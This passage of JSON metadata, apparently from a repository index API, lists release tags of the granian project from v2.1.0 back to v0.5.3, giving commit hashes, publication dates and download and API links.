"https://github.com/emmett-framework/granian/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.1.0/manifests","release_url":null},{"name":"v2.0.1","sha":"577359e9f2c3e19567f1962fca1c380916148aa0","kind":"commit","published_at":"2025-03-04T22:45:54.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.0.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.0.1/manifests","release_url":null},{"name":"v2.0.0","sha":"9c1fac179cb901987ad77b882e705227d108b2c5","kind":"commit","published_at":"2025-03-02T22:16:20.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.0.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.0.0/manifests","release_url":null},{"name":"v1.7.6","sha":"338f813dec0bc538e37f2286233ced4ce18cb737","kind":"commit","published_at":"2025-01-30T00:00:05.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.7.6","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.6/manifests","release_url":null},{"name":"v1.7.5","sha":"22e31456fa5efa3b68637ccedef97b0db7acf093","kind":"commit","published_at":"2025-01-13T18:45:11.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.7.5","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.5/manifests","release_url":null},{"name":"v1.7.4","sha":"b5425a19003664b6ea039f7e01891e7610759a29","kind":"commit","published_at":"2025-01-08T18:10:49.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.7.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.4/manifests","release_url":null},{"name":"v1.7.3","sha":"3ab82a76b6c9e7dd1765fff4b8f0296f0b80cce1","kind":"commit","published_at":"2024-12-28T16:37:54.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.7.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.3/manifests","release_url":null},{"name":"v1.7.2","sha":"9465a8b3c86235cf82639e247cedc734cadf406b","kind":"commit","published_at":"2024-12-24T17:24:34.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.7.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.2/manifests","release_url":null},{"name":"v1.7.1","sha":"1ad12784678671e283c3539dcfe7e5bcea63ac5f","kind":"commit","published_at":"2024-12-17T08:57:58.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.7.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.1/manifests","release_url":null},{"name":"v1.7.0","sha":"693af47764e6ec1f0d7b8d0b6a3afef5f69b0192","kind":"commit","published_at":"2024-12-15T18:21:22.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.7.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.7.0/manifests","release_url":null},{"name":"v1.6.4","sha":"a6cfc2f1f9d94ae7f57d6400cfee071eac328aa5","kind":"commit","published_at":"2024-11-22T17:01:22.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.6.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.4/manifests","release_url":null},{"name":"v1.6.3","sha":"261ceba3fd93bca10300e91d1498bee6df9e3576","kind":"commit","published_at":"2024-10-29T18:33:52.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.6.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.3/manifests","release_url":null},{"name":"v1.6.2","sha":"c8147f20e867465d2599af28267081fabba21e11","kind":"commit","published_at":"2024-10-27T15:13:02.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.6.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.2/manifests","release_url":null},{"name":"v1.6.1","sha":"c965db7893759eb1a1d90ae6107b19fd58ba4416","kind":"commit","published_at":"2024-10-15T10:19:42.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.6.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.1/manifests","release_url":null},{"name":"v1.6.0","sha":"43f6c52e0c28c25a2086de6d0a07696fd7961a02","kind":"commit","published_at":"2024-09-03T18:53:02.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.6.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.6.0/manifests","release_url":null},{"name":"v1.5.2","sha":"338fbe453609bcdc28d70913b1c967c17e97e12a","kind":"commit","published_at":"2024-07-30T13:53:17.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.5.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.5.2/manifests","release_url":null},{"name":"v1.5.1","sha":"8332f65ccf1add5713a7509ae6c9f8ef6a695582","kind":"commit","published_at":"2024-07-09T18:23:26.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.5.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.5.1/manifests","release_url":null},{"name":"v1.5.0","sha":"649084325b3447b46f3919bba742c91e8867e15d","kind":"commit","published_at":"2024-07-07T20:06:16.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.5.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.5.0/manifests","release_url":null},{"name":"v1.4.4","sha":"d4fce68f9038c07fcfca533d9775e41441a5c3ae","kind":"commit","published_at":"2024-06-18T23:03:03.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.4.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.4/manifests","release_url":null},{"name":"v1.4.3","sha":"80b80cbe9585789e2cf0fea977285843a14b6e5d","kind":"commit","published_at":"2024-06-13T13:22:33.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.4.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.3/manifests","release_url":null},{"name":"v1.4.2","sha":"8378b362fb71b6a5c7e0a49728bf16cca5cc85d1","kind":"commit","published_at":"2024-06-07T17:22:26.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.4.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.2/manifests","release_url":null},{"name":"v1.4.1","sha":"e4aa8c37d4c6d3dbf70298106f68e8f6255700ae","kind":"commit","published_at":"2024-05-27T17:46:08.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.4.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.1/manifests","release_url":null},{"name":"v1.4.0","sha":"7291698042e9270b45aa1681033d2bd6f1a849dc","kind":"commit","published_at":"2024-05-26T14:11:39.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.4.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.4.0/manifests","release_url":null},{"name":"v1.3.2","sha":"0167b64b36650fc223d404c202d35bb545a2a1e6","kind":"commit","published_at":"2024-05-21T18:08:02.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.3.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.3.2/manifests","release_url":null},{"name":"v1.3.1","sha":"0f079bc45b6d55d57b63ecb6a05134b79270758b","kind":"commit","published_at":"2024-05-02T00:11:49.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.3.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.3.1/manifests","release_url":null},{"name":"v1.3.0","sha":"dfe1762c6c0de2dfb40ccebc3db339412353cf63","kind":"commit","published_at":"2024-04-26T23:23:19.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.3.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.3.0/manifests","release_url":null},{"name":"v1.2.3","sha":"db1c7011c0dde55261a49d445e7569ab96d03161","kind":"commit","published_at":"2024-04-15T20:12:31.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.2.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.2.3/manifests","release_url":null},{"name":"v1.2.2","sha":"9a2442477735924b4f080033e3af4e32bf816411","kind":"commit","published_at":"2024-04-08T10:33:40.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.2.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.2.2/manifests","release_url":null},{"name":"v1.2.1","sha":"ee4fdcc20da59971fa7528f7ee57e078328ae69c","kind":"commit","published_at":"2024-04-01T21:46:32.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.2.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.2.1/manifests","release_url":null},{"name":"v1.2.0","sha":"996637c3f0cc1faaff427adfd92f565343b39f73","kind":"commit","published_at":"2024-03-18T23:25:13.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.2.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.2.0/manifests","release_url":null},{"name":"v1.1.2","sha":"df5d8438184194d84b48679d707c0593e4c8b7e1","kind":"commit","published_at":"2024-03-09T12:59:53.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.1.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.1.2/manifests","release_url":null},{"name":"v1.1.1","sha":"dfe9f54c948e3a4d9fc319d60d60f811e188c3b9","kind":"commit","published_at":"2024-02-29T19:24:06.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.1.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.1.1/manifests","release_url":null},{"name":"v1.1.0","sha":"801e27ef92fc4f8c4e48ce535220d08ab99470cb","kind":"commit","published_at":"2024-02-13T23:45:48.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.1.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.1.0/manifests","release_url":null},{"name":"v1.0.2","sha":"505b98cdf84fa32a0eb173b8a7aa6456c0e1c8a2","kind":"commit","published_at":"2024-01-28T13:59:16.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.0.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.0.2/manifests","release_url":null},{"name":"v1.0.1","sha":"8b7f9a9b7ecb62ec66ea77b97ed877e063fdf115","kind":"commit","published_at":"2024-01-24T15:02:41.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.0.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.0.1/manifests","release_url":null},{"name":"v1.0.0","sha":"deb060ce902c8b29dba63c18fc5bd90e8ca066b2","kind":"commit","published_at":"2024-01-21T18:09:52.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v1.0.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v1.0.0/manifests","release_url":null},{"name":"v0.7.6","sha":"db6efb7dcc65c6d656299f71f3fcf027d9669714","kind":"commit","published_at":"2024-01-17T13:27:44.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.7.6","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.6/manifests","release_url":null},{"name":"v0.7.5","sha":"6a7dd917801bc8e376ad7304ad291ad992877452","kind":"commit","published_at":"2024-01-10T11:23:56.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.7.5","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.5/manifests","release_url":null},{"name":"v0.7.4","sha":"99eb5401750330d72172e1100b6139eb38dad4c3","kind":"commit","published_at":"2024-01-03T18:35:12.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.7.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.4/manifests","release_url":null},{"name":"v0.7.3","sha":"08803c504dc04891582f82c7f125c1979c76f9d9","kind":"commit","published_at":"2023-11-27T16:42:48.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.7.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.3/manifests","release_url":null},{"name":"v0.7.2","sha":"e71133c0da38631589f30cb1f4291de33d76ca6b","kind":"commit","published_at":"2023-11-15T13:53:27.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.7.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.2/manifests","release_url":null},{"name":"v0.7.1","sha":"43f35fb5e24604aee658e84a261ac42d864da249","kind":"commit","published_at":"2023-10-25T16:42:19.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.7.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.1/manifests","release_url":null},{"name":"v0.7.0","sha":"f9452be45a0b78beb47576fdb417bfc3c0e34ca9","kind":"commit","published_at":"2023-10-17T14:40:29.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.7.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.7.0/manifests","release_url":null},{"name":"v0.6.1","sha":"9d058bbac55ed1aaf49eac001f6860a387dfe5ac","kind":"commit","published_at":"2023-10-16T09:56:11.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.6.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.6.1/manifests","release_url":null},{"name":"v0.6.0","sha":"341435cf42d506c85f59a2607d8cd73ae96ff363","kind":"commit","published_at":"2023-08-28T15:13:05.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.6.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.6.0/manifests","release_url":null},{"name":"v0.5.3","sha":"4b759b749a5fe276a02938e4cdae38f1834ee92c","kind":"commit","published_at":"2023-08-18T09:21:22.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.5.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/